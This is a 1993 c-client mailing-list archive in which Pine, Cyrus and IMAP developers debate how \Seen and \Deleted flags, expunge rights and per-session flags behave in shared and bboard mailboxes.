owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from PO4.ANDREW.CMU.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA11345; Mon, 18 Oct 93 09:03:01 -0700 Received: from localhost (postman@localhost) by po4.andrew.cmu.edu (8.5/8.5) id MAA04262; Mon, 18 Oct 1993 12:02:57 -0400 Received: via switchmail; Mon, 18 Oct 1993 12:02:56 -0400 (EDT) Received: from nifty.andrew.cmu.edu via qmail ID ; Mon, 18 Oct 1993 12:02:53 -0400 (EDT) Received: via niftymail; Mon, 18 Oct 1993 12:02:47 -0400 (EDT) Date: Mon, 18 Oct 1993 12:02:37 -0400 (EDT) From: Chris Newman Subject: Re: Terry's assumptions about mailboxes To: c-client@cac.washington.edu In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Message-Id: <750960157.10184.0@nifty.andrew.cmu.edu> Terry Gray writes: > More difficult for me to accept is the case of > "Mailbox = [Msg Data + Some Global Flags + Some Private Flags]" > because I don't know how to manage this level of state complexity in a > consistent way and surprise-free way, unless each flag is defined as > *either* private *or* global, (which I really *wish* I could convince > myself was reasonable, since it simplifies the problem.) Well, this is exactly what the Cyrus imapd is going to do. \SEEN is always going to be private because we've found global \SEEN to be useless in practice. \DELETED is always going to be global so that every user knows which messages EXPUNGE will remove. The other flags are going to be global because we don't consider them important enough to merit the high cost of per-user storage. Since flag behavior won't change between different mailbox types, I don't believe Cyrus users will be surprised. I think the answer is that every good server implementation should be internally consistant about global vs. local flags. > Also, how does the client know when to look for a client-maintained file > of private flags, e.g. .newsrc, or its mailbox equivalent for, say, a > remote message archive? I believe we all agree this problem needs to be solved. This is why CMU has suggested that the FLAGS reply exclude non-permanent flags. If the flag isn't in the FLAGS reply, then the client can look for a client-maintained file. > I agree that one could meaningfully have the ability to store, say, a > Flagged flag without having expunge rights. But that leads either to (a) > asserting that some flags are inherently global, the others inherently > private --which I still can't convince myself is true, or (b) the dilemma > of having arbitrary mixtures of private and global flags --which I don't > know how to manage, especially when in some cases the private flags > will be maintained by the server, and in other cases by the client. I suspect private vs. global is ultimately a religious issue and thus must be implementation specific. > As a simplifying assumption, I was hoping we could key on expunge rights > to determine whether to look for (and use) private flags. If that won't > work, we need to tighten-up our thinking caps one more notch... It certainly won't work with the Cyrus imapd. You can have "seen" rights which permit storing \SEEN info on the server without having "delete" rights which permit storing the \DELETED flag and EXPUNGE. - Chris From pinedev@shivax2.cac.washington.edu Mon Oct 18 09:25:45 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA18456; Mon, 18 Oct 93 09:25:45 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA11855; Mon, 18 Oct 93 09:25:35 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from shiva2.cac.washington.edu by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA11849; Mon, 18 Oct 93 09:25:34 -0700 Received: by shiva2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA11475; Mon, 18 Oct 93 09:25:23 -0700 Date: Mon, 18 Oct 1993 09:06:16 -0700 (PDT) From: Terry Gray Reply-To: Terry Gray Subject: Re: More on /SEEN and /DELETED... To: John Gardiner Myers Cc: c-client@CAC.Washington.EDU In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII John, The good news is that at least *some* of our difference still seems to be a result of misunderstandings rather than convictions... :) On Mon, 18 Oct 1993, John Gardiner Myers wrote: > Terry Gray writes: > > One could as easily argue that C-client's handling of \deleted for > > *conventional* personal mailboxes is dangerous! > > You've got to be kidding. This statement says to me that I have totally failed to communicate and/or you have totally failed to understand what I'm trying to say. I was not kidding. > When a user marks a message in a personal mailbox as deleted, they > really want the message to go away. This is precisely what is meant by "D" in Pine in all cases, news and mail. The only difference between the the two is whether or not you can later successfully expunge the messages you marked for deletion. To account for that possibility, I attempted, obviously unwisely, to redefine the "deleted" term so it didn't sound so contradictory in the RO case (or more precisely, in the "no expunge rights" case.) But from the user's perspective, the motivation for typing "D" is identical in both the mail case and the news case. It is totally consistent. It means "delete it (if you can), I'm done with it". > As long as this model is kept > consistent, they will only mark messages in shared mailboxes when they > really want the message to be permanently removed. It is precisely because Pine does keep this absolute consistency in usage that the claim of it's behavior being dangerous is bogus. > There is also the minor fact that personal mailboxes are generally in > their own part of the namespace. Shareability and RO-ness are, and should be, orthogonal to location. > CMU has had this model (delete means really delete, UI doesn't go > through pains to identify folders as "shared") for years and has had > no problems that I am aware of. The only difference between the CMU and UW models is that apparently you don't permit someone to mark a message as "deleted" if they don't have expunge rights. The essence of my --apparently ultra controversial-- position is that I believe it is useful to let someone mark a message as deleted even if they do not have the right to expunge it. If you *do* let people delete even without expunge rights, then exactly what is it that you are unhappy about in our position? > The redefinition of "\Deleted" as "uninteresting" is part of the > c-client news philosophy and is part of what we find so dangerous. > "Uninteresting" is an attribute of the user's view, not of the message. The "intend to delete" flag that we call \Deleted has always been an attribute of the user's view of the message in exactly the same sense. Whether that intent is actionable depends on having expunge rights. > > > Messages "magically and implicitly disappear" due to the view you > > > selected? One might as well use the same arguments against kill > > > files. > > > > Not at all. Kill files are the result of *explicit* action by the user. > > Selecting an "unseen only" view and reading messages are explicit > actions by the user. Agreed. What I object to is not having the ability to differentiate between \seen and \deleted for purposes of my current view. That is, I want the ability to mark news messages that I'm done with as \deleted, just as I would a mail message --even if I don't have expunge rights. > Then how, using your paridgm, do you mark a shared "Type 1" mailbox as > being uninteresting to you, but without actually removing the message. In a type 1 mailbox, the state is shared by definition, so when I mark a message as \deleted it has global effect. The next expunge nails it. > > In many of the other cases where "IS_NEWS" is > > used, a macro named something like IS_IMMUTABLE would have been better, > > since NEWS is only one of possibly many classes of immutable mailboxes. > > There is already a separate READONLY_FOLDER macro, which didn't get used. Unfortunately, there are cases where folders become RO due to errors or transient locking phenomena. I *think* the UA needs to distinguish between the transient RO case and the RO-because-of-access-restrictions case, but I'd be pleased to be wrong on that. There may also be cases where the READONLY_FOLDER macro should have been used... > Put another way the uses: > > * Whether or not un-\Seen messages are marked as "NEW" in the bar status > * Whether or not TAB will stop on un-\Seen messages > * On TAB command, whether to say > "No more undeleted messages" or "No more new messages" > > Were made necessary because c-client changed the mapping of .newsrc > from \Seen to \Deleted. Every other client is going to have to have > this knowledge of this difference between "mail" and "news", or > they're not going to interoperate with the c-client imapd. These are all a result of having only one bit to play with in the .newsrc, and having decided that it was more useful to store /deleted than /seen. These are not fundamental news vs. mail issues. A richer .newsrc structure would eliminate this issue. > You're picking nits. To reword, ``The user must shift the meaning of > 'D' from "intend to physically delete this message on later expunge" > to "don't show me this message for now."'' NO NO NO!!! "D" does *not* mean "don't show me this message for now". The "D" means "I'm done with it forever. Make it go away --if you can!". One's current view may or may not include messages so marked. > What does COPY mean when the destination is an immutable mailbox? If you don't have the rights to do the copy, you get an error, just like if you don't have the rights to do an expunge, you get an error. > > Nor does "D" mean "don't show me this message for now", although that > > could be a *side effect* of the currently defined view. > > You're using this "side effect" as a fundamental reason for changing the > definition of \Deleted. Definitely not. Again, the issue is whether or not it is sensible to mark a message as \Deleted even when you don't have expunge rights. I claim it is, you apparently feel otherwise. > You certainly haven't reached a consensus for "enhancing" the > interpretation of the existing \Deleted flag. Last I checked, it was > 1 for, 3 against. This "enhancement" of the meaning is actualy an > incompatible change which we consider extremely dangerous. Look at it this way: all I've been trying to say throughout this entire debate is that I want to be able to mark a news message as deleted, and have that mean *exactly* the same thing as it would in the case of a mail message, regardless of the fact that a subsequent expunge might fail or be forbidden. (Which of course might happen in the mail case as well.) I'm not yet sure whether my attempt to explain this position via the semantics of word "deleted" was just terribly ineffective, or whether you guys really believe it is a terrible idea to allow someone to set a \Deleted flag in cases where they don't have expunge rights. > > A message is marked answered; did I answer it, or > > did someone else on the team? Likewise SEEN, FLAGGED, etc... How does the > > user know, for any given flag in any given mailbox, what its scope is? > > I consider this one of the key problems with Chris' suggestion that > flags be private or global depending on the user's access. I can see how to deal with the case where they were *all* global or *all* private for a given session... but the mix-n-match scenario really scares me. Your and Chris' suggestion about the server telling the client what flags it lets the client set might give the UA enough info to somehow present each flag's scope, but I haven't yet thought of a way to do that "elegantly" > I believe > that for a given flag in a given mailbox, it should be private for > everybody or global to everybody. I agree that our problem would be much simpler if we could do this, but when I look at each flag and try to decide if there are any that are meaningless in either a private or a global context, I don't see any silly states. Also, to legislate that certain flags are inherently private has far-reaching implementation consequences since there are servers that don't have the concept of "private flags". -teg From pinedev@shivax2.cac.washington.edu Mon Oct 18 09:34:41 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA19076; Mon, 18 Oct 93 09:34:41 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA12096; Mon, 18 Oct 93 09:34:29 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from shiva1.cac.washington.edu by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA12086; Mon, 18 Oct 93 09:34:20 -0700 Received: by shiva1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA29155; Mon, 18 Oct 93 09:34:18 -0700 Date: Mon, 18 Oct 1993 09:23:44 -0700 (PDT) From: Michael Seibel Subject: re: Some problems with the imapd-3.0 (Pine 3.87) release To: Terry Gray Cc: Steve Hole , Mark Crispin , pine@cac.washington.edu, c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Word from the pine team is that versions 3.07 and earlier built all folder lists by hand (actually sniffing local directories). All pine versions, including pc-pine, since 3.80 use c-client provided tools (i.e., find, find_all) for putting together folder lists. The conversion strategy sound right from here, as well. -mikes From pinedev@shivax2.cac.washington.edu Mon Oct 18 10:23:37 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA20779; Mon, 18 Oct 93 10:23:37 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA13157; Mon, 18 Oct 93 10:23:20 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from shiva2.cac.washington.edu by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA13151; Mon, 18 Oct 93 10:23:17 -0700 Received: by shiva2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA13764; Mon, 18 Oct 93 10:23:15 -0700 Date: Mon, 18 Oct 1993 10:13:37 -0700 (PDT) From: Terry Gray Subject: Re: Terry's assumptions about mailboxes To: Chris Newman Cc: c-client@cac.washington.edu In-Reply-To: <750960157.10184.0@nifty.andrew.cmu.edu> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Mon, 18 Oct 1993, Chris Newman wrote: > Well, this is exactly what the Cyrus imapd is going to do. \SEEN is > always going to be private because we've found global \SEEN to be > useless in practice. My experience differs. Both private and global \seen convey useful information... global \seen lets one quickly identify which messages have as yet been unread by *anyone*... > \DELETED is always going to be global so that > every user knows which messages EXPUNGE will remove. Yes, if you have expunge rights, your \deleted flag *must* be global. -teg From pinedev@shivax2.cac.washington.edu Mon Oct 18 10:30:48 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA20975; Mon, 18 Oct 93 10:30:48 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA13311; Mon, 18 Oct 93 10:30:29 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from PO4.ANDREW.CMU.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA13305; Mon, 18 Oct 93 10:30:25 -0700 Received: from localhost (postman@localhost) by po4.andrew.cmu.edu (8.5/8.5) id NAA05525; Mon, 18 Oct 1993 13:30:16 -0400 Received: via switchmail; Mon, 18 Oct 1993 13:29:57 -0400 (EDT) Received: from cortland.andrew.cmu.edu via qmail ID ; Mon, 18 Oct 1993 13:29:39 -0400 (EDT) Received: from cortland.andrew.cmu.edu via qmail ID ; Mon, 18 Oct 1993 13:29:34 -0400 (EDT) Received: from Messages.8.5.N.CUILIB.3.45.SNAP.NOT.LINKED.cortland.andrew.cmu.edu.pmax.ul4 via MS.5.6.cortland.andrew.cmu.edu.pmax_ul4; Mon, 18 Oct 1993 13:29:14 -0400 (EDT) Message-Id: <4gkh9e200WAqI0tz9L@andrew.cmu.edu> Date: Mon, 18 Oct 1993 13:29:14 -0400 (EDT) From: Wallace Colyer To: c-client@CAC.Washington.EDU, Terry Gray Subject: Re: More on /SEEN and /DELETED... Cc: c-client@CAC.Washington.EDU In-Reply-To: References: Let me pose some simple questions which I think Chris asked earlier. First, let me state my assumption that you cannot assume that netnews is the only thing in the bboard namespace and netnews may exist in the mailbox namespace as well. How do I delete a message from my personal view not not from everyone's view when I am in a shared folder? How do I delete a message permanently from a mailstore so no one can see it? Is it based on whether I perform the expunge command? If so, how do I delete some messages from my personal view and some from the permanent mailstore? -Wallace From pinedev@shivax2.cac.washington.edu Mon Oct 18 11:26:03 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA23153; Mon, 18 Oct 93 11:26:03 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA14600; Mon, 18 Oct 93 11:25:44 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from shiva2.cac.washington.edu by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA14594; Mon, 18 Oct 93 11:25:42 -0700 Received: by shiva2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA15954; Mon, 18 Oct 93 11:25:39 -0700 Date: Mon, 18 Oct 1993 10:32:14 -0700 (PDT) From: Terry Gray Subject: Re: More on /SEEN and /DELETED... To: Wallace Colyer Cc: c-client@CAC.Washington.EDU In-Reply-To: <4gkh9e200WAqI0tz9L@andrew.cmu.edu> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Mon, 18 Oct 1993, Wallace Colyer wrote: > First, let me state my assumption that you cannot assume that netnews is > the only thing in the bboard namespace and netnews may exist in the > mailbox namespace as well. Agreed. We are just talking about the relationship between \DELETED and expunge rights, and those are orthogonal to both namespace and whether we are dealing with "news" or "mail". > How do I delete a message from my personal view not not from everyone's > view when I am in a shared folder? You don't, at least not if you have expunge rights to that shared folder, because if you can expunge, your \deleted flag *must* be global. (Whether \deleted should be global --or even allowed-- when you do *not* have expunge rights is a separate, and more interesting, question.) > How do I delete a message permanently from a mailstore so no one can see it? "In the normal way"... :) Again, *if* you have expunge rights... > Is it based on whether I perform the expunge command? If so, how do I > delete some messages from my personal view and some from the permanent > mailstore? If you have the *right* to expunge, the \deleted flag is necessarily global, so in that case there is no distinction between "personal view" and what happens to the permanent mailstore. My premise is that \DELETED should be *consistently* available to the user to indicate that s/he is done with the message and intends, if it is within his/her power, to have that message go away. Clearly, in a shared mailbox case, *if* the user has expunge rights, their \DELETED flag *must* be global. So that leads us to the case of *not* having expunge rights. What about \deleted then? Three choices: 1. \deleted is disallowed (an error) 2. \deleted is global 3. \deleted is private Chris' last message suggests that Cyrus chooses option #1, tying whether or not you can set \deleted to whether or not you have expunge rights. Example of where #2 would be useful: I work for you, and we share a trouble tracking folder. You don't completely trust me :) so you don't give me expunge rights, but you want an easy way to see whether I think a case is closed. When I finish a case I mark it deleted. You review my work, and if you agree let the \deleted stand. Periodically you expunge. Note that Answered, while useful, does not imply that the case is closed. Example of where #3 is useful: You have access to a remote message archive, but no access rights other than read. You'd like to keep track of which messages you've seen, of course, but in addition, you'd like to be able to use \deleted as you always do, to indicate that you are forever done with the msg and would like it deleted --even if you are unable to enforce that intent. To forbid this case as an error forces a user-behavior change... In all the cases the user would normally say "delete" s/he now gets an error. (It's true that, even if we allow the private \deleted for this case, a subsequent expunge will generate an error, but that happens in case #2 as well.) By allowing users to set \deleted in this situation, we can come very close to providing the semantics of a private mailbox, without actually having to replicate the message archive (or deal with getting updates). Not being able to expunge seems a small price to pay for this benefit. -teg From pinedev@shivax2.cac.washington.edu Mon Oct 18 12:33:07 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA25634; Mon, 18 Oct 93 12:33:07 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA22947; Mon, 18 Oct 93 12:32:51 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from PO4.ANDREW.CMU.EDU by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA22941; Mon, 18 Oct 93 12:32:49 -0700 Received: from localhost (postman@localhost) by po4.andrew.cmu.edu (8.5/8.5) id PAA07169; Mon, 18 Oct 1993 15:32:47 -0400 Received: via switchmail; Mon, 18 Oct 1993 15:32:45 -0400 (EDT) Received: from nifty.andrew.cmu.edu via qmail ID ; Mon, 18 Oct 1993 15:32:20 -0400 (EDT) Received: via niftymail; Mon, 18 Oct 1993 15:32:16 -0400 (EDT) Date: Mon, 18 Oct 1993 15:32:12 -0400 (EDT) From: Chris Newman Subject: Re: More on /SEEN and /DELETED... To: c-client@CAC.Washington.EDU In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Message-Id: <750972732.10184.0@nifty.andrew.cmu.edu> Terry Gray writes: > The essence of my --apparently ultra controversial-- > position is that I believe it is useful to let someone mark a message as > deleted even if they do not have the right to expunge it. I think this is a dangerous garden-path scenerio. Here's an example: Jane User uses the FOOBAR client which always does an EXPUNGE on exit. She learns that hitting 'd' in her mail folder makes the message go away. She also learns that hitting 'd' in non-mail folders doesn't make the message go away. She then joins a group project with a group RW/E folder. Because it's another non-mail folder she assumes she can hit 'd' and the message won't go away. She has never encountered a case where hitting 'd' makes the message disappear for other people, so she assumes it won't. FOOBAR issues its EXPUNGE and the message goes away. Note what you have happening here. Your proposal forces Jane to make distinctions between different types of mailboxes. She made a reasonable assumption which caused the loss of important work. In order to understand what happened, she needs to learn that 'd' does different things based on "EXPUNGE" rights -- which is not a simple concept. So what's wrong with the scenerio: A) Your proposal is dangerous and forces users to distinguish between different mailbox object types. B) Jane was stupid for not understanding "EXPUNGE" rights. She needs to learn how to properly distinguish different mailbox object types before she can be allowed to use a c-client program. C) FOOBAR client was designed wrong (what should be fixed?). - Chris From pinedev@shivax2.cac.washington.edu Mon Oct 18 12:49:08 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA25994; Mon, 18 Oct 93 12:49:08 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA15942; Mon, 18 Oct 93 12:48:54 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from shiva2.cac.washington.edu by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA15936; Mon, 18 Oct 93 12:48:53 -0700 Received: by shiva2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA17942; Mon, 18 Oct 93 12:48:51 -0700 Date: Mon, 18 Oct 1993 12:36:14 -0700 (PDT) From: Terry Gray Subject: Re: More on /SEEN and /DELETED... To: Chris Newman Cc: c-client@CAC.Washington.EDU In-Reply-To: <750972732.10184.0@nifty.andrew.cmu.edu> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Chris, Your argument that my model forces users to make distinctions between different mailbox types is bogus because the same concerns apply to the CMU model (e.g. just having or not having delete rights in general.) The fact is, there *are* differences in access rights, and these differences result in errors, which result in changes in user behavior. This is true whether \delete is forbidden, as you prefer, or whether just expunge is forbidden. If your view prevails, it means that c-client will be far less useful for supporting the "pseudo personal" mailbox case (where the remote message archive is totally RO.) -teg From pinedev@shivax2.cac.washington.edu Mon Oct 18 13:16:59 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA27122; Mon, 18 Oct 93 13:16:59 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA23313; Mon, 18 Oct 93 13:16:49 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA23307; Mon, 18 Oct 93 13:16:47 -0700 Received: from Ikkoku-Kan.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67d/UW-NDC Revision: 2.27.MRC ) id AA03062; Mon, 18 Oct 93 13:16:35 -0700 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67c/UW-NDC/Panda Revision: 2.27.MRC ) id AA23464; Mon, 18 Oct 93 13:16:27 -0700 Date: Mon, 18 Oct 1993 12:36:01 -0700 (PDT) From: Mark Crispin Subject: Re: More on /SEEN and /DELETED... To: Wallace Colyer Cc: c-client@CAC.Washington.EDU, Terry Gray In-Reply-To: <4gkh9e200WAqI0tz9L@andrew.cmu.edu> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Mind you, Terry and I don't agree 100% on these issues. I have a completely different perspective, based in part from dealing with this stuff for 7 years and having a set of ``seat-of-the-pants feelings''. I've been trying to stay mostly out of this issue, until it reaches the ``what does this mean when it is implemented in c-client?'' point... ;-) But some of your questions were interesting enough to deserve answers from my perspective. On Mon, 18 Oct 1993 13:29:14 -0400 (EDT), Wallace Colyer wrote: > First, let me state my assumption that you cannot assume that netnews is > the only thing in the bboard namespace and netnews may exist in the > mailbox namespace as well. Agreed. > How do I delete a message from my personal view not not from everyone's > view when I am in a shared folder? > How do I delete a message permanently from a mailstore so no one can see it? > Is it based on whether I perform the expunge command? If so, how do I > delete some messages from my personal view and some from the permanent > mailstore? These questions are based upon a presumption of a unity of shared folders. This doesn't exist in c-client. Instead, c-client has several different types of shared folders, with different classes of access: 1) BBoards: (in the IMAP sense, or ``blurdybloops'' if you prefer) 1a) Netnews. Per-user \Deleted flags, \Recent flags begin after the highest-numbered \Deleted flag, other flags are per-session. 1b) Non-netnews mailbox formatted. All flags are per-session. \Recent set for all messages. File may have initial settings for the per- session flags, but user can't change them. 1c) Non-formatted objects. Presented as a single message with no flags initially set. Any flags are per-session. Note that with BBoards, there is a commonality in that there are no shared flags that the user can set. At best, he can set a per-user flag. Also, EXPUNGE is always meaningless with a BBoard; as CMU says, they are second class citizens (and useless for them). 2) Shared Mailboxes: 2a) read/write mailbox formatted. Flags are global. 2b) read-only mailbox formatted. Similar to 1b) case. 2c) read-only non-formatted objects. Similar to 1c) case. 2d) read/write non-formatted objects. No definition yet. We have talked about per-user flags with mailboxes, but don't do anything about it yet. It is important to realize that although you CAN access bboard objects in the mailbox namespace by prepending a * to the name, this is an internal convenience for c-client only. It does not mean that bboards are considered inside the c-client namespace. It may have been a mistake to have a separate bboard namespace, but, at the time this decision was made, it was presented to me as a *given* that the namespace is separate. My own givens were that it was unreasonable to issue an error message where there was something arguably useful to do for the user. It quickly became clear that in many cases, the only useful you could do was set a per-session flag. I still dispute the claim that it is wrong to have per-session flags as a capability; it is entirely up to the user interface to decide whether or not users may have access to these. There is also a question about whether or not it is right to recycle the meaning of \Deleted in the BBoard namespace as Terry has done. I believe that it is ``not wrong''; that a fair and reasonable case can be made to do so. I have my own opinions about whether or not ``not wrong'' imply ``right'', but they are irrelevant to this discussion. So far, he arguments against this use of \Deleted presume that this is taking place in the mailbox namespace. It is not. It can not. This also pretty well debunks the CMU claim of danger. They need never encounter the need to support this in their servers, because they don't use the bboard namespace. If, for compatibility sake, they decided to support the bboard namespace in their servers, they could change the \Deleted request in that namespace to a request in the mailbox namespace that makes more sense. Similarly, if they were to support the bboard namespace in their clients for compatibility with our servers, they would undoubtably choose to hide the fact that a \Deleted flag is set. As I see the REAL problem, the question is one of determining access rights. In a more sophisticated application, you want to make a determination of what kind of object you are dealing with and what are your access rights to that object. The present Pine gets along with the bboard/mailbox namespace switch and the read-only switch to subdivide mailboxes; that is, it deals with three different access right entities. The present Pine doesn't distinguish between shared read/write mailboxes and private read/write mailboxes. It is not hard to imagine more sophisticated choices being made than what Pine uses (after all, I did list 7 different kinds of shared mailboxes, of which 6 are supported now by c-client!), but I don't think that pulling a capability that some people think isn't useful isn't the way to go about enabling those choices. I probably find myself alone in defending c-client's current model. I want to caution folks, though; don't forget that whatever we end up with has to be implementable! c-client differs from Cyrus in a very fundamental way; it is intended to interoperate with whatever crufty infrastructure may already be in place. Cyrus has the luxury of starting from scratch (and yes, I covet that luxury!). I have heard a number of things in this discussion which would be quite difficult to implement in the c-client context, or which would introduce interoperability problems. From pinedev@shivax2.cac.washington.edu Mon Oct 18 13:46:18 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA27964; Mon, 18 Oct 93 13:46:18 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA17063; Mon, 18 Oct 93 13:45:49 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from PO4.ANDREW.CMU.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA17057; Mon, 18 Oct 93 13:45:45 -0700 Received: from localhost (postman@localhost) by po4.andrew.cmu.edu (8.5/8.5) id QAA08281; Mon, 18 Oct 1993 16:45:43 -0400 Received: via switchmail; Mon, 18 Oct 1993 16:45:42 -0400 (EDT) Received: from nifty.andrew.cmu.edu via qmail ID ; Mon, 18 Oct 1993 16:45:04 -0400 (EDT) Received: via niftymail; Mon, 18 Oct 1993 16:44:59 -0400 (EDT) Date: Mon, 18 Oct 1993 16:44:55 -0400 (EDT) From: Chris Newman Subject: Re: More on /SEEN and /DELETED... To: Terry Gray Cc: c-client@CAC.Washington.EDU In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Message-Id: <750977095.10184.0@nifty.andrew.cmu.edu> Terry Gray writes: > Your argument that my model forces users to make distinctions between > different mailbox types is bogus because the same concerns apply to the > CMU model (e.g. just having or not having delete rights in general.) I don't think it's bogus. Users are used to have options "grayed out" or rejected because they "don't have permission". The problem comes when a user takes an action which is successful, but does different things in different situations. > If your view prevails, it means that c-client will be far less useful for > supporting the "pseudo personal" mailbox case (where the remote message > archive is totally RO.) I have already stated that the concept you suggest is useful -- I'm just opposed to overloading \DELETED. >From what I understand of your _intent_ for use of \DELETED in netnews, may I suggest adding a user flag "hidden" which means the user is not interested in seeing the message again? All you have to do is lobby client makers to have a default view of "UNKEYWORD hidden" and you get what you want. If you wait for NSEARCH, you could even add a \HIDDEN system flag. - Chris From pinedev@shivax2.cac.washington.edu Mon Oct 18 14:10:00 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA28831; Mon, 18 Oct 93 14:10:00 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA23623; Mon, 18 Oct 93 14:09:46 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from PO3.ANDREW.CMU.EDU by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA23617; Mon, 18 Oct 93 14:09:44 -0700 Received: from localhost (postman@localhost) by po3.andrew.cmu.edu (8.5/8.5) id RAA05506; Mon, 18 Oct 1993 17:09:34 -0400 Received: via switchmail; Mon, 18 Oct 1993 17:09:26 -0400 (EDT) Received: from nifty.andrew.cmu.edu via qmail ID ; Mon, 18 Oct 1993 17:08:10 -0400 (EDT) Received: via niftymail; Mon, 18 Oct 1993 17:08:06 -0400 (EDT) Date: Mon, 18 Oct 1993 17:08:06 -0400 (EDT) From: Chris Newman Subject: Per-session flags To: c-client@CAC.Washington.EDU Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Message-Id: <750978486.10184.0@nifty.andrew.cmu.edu> Mark contends that it is "not wrong" to have per-session flags. I believe there are two cases here: 1) If the client can't find out which flags are per-session and which are stored, then per-session flags are "wrong". Take the \Seen example. The client either presents the server \Seen which may not persist and thus could confuse users, or it would always keep it's own \Seen which breaks mobility. 2) If the client can find out which flags are per-session, I claim that per-session flags are "useless". The reason is that a smart client will store local state for the flags it can't store on the server, and a less-smart client will present no state, to prevent user confusion (e.g. "Hello, computer help line. There's this message that I've seen before, but my mail program says I haven't seen it! What's broken?"). - Chris From pinedev@shivax2.cac.washington.edu Mon Oct 18 14:41:42 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA29900; Mon, 18 Oct 93 14:41:42 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA18177; Mon, 18 Oct 93 14:41:27 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from shiva2.cac.washington.edu by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA18171; Mon, 18 Oct 93 14:41:25 -0700 Received: by shiva2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA21707; Mon, 18 Oct 93 14:41:20 -0700 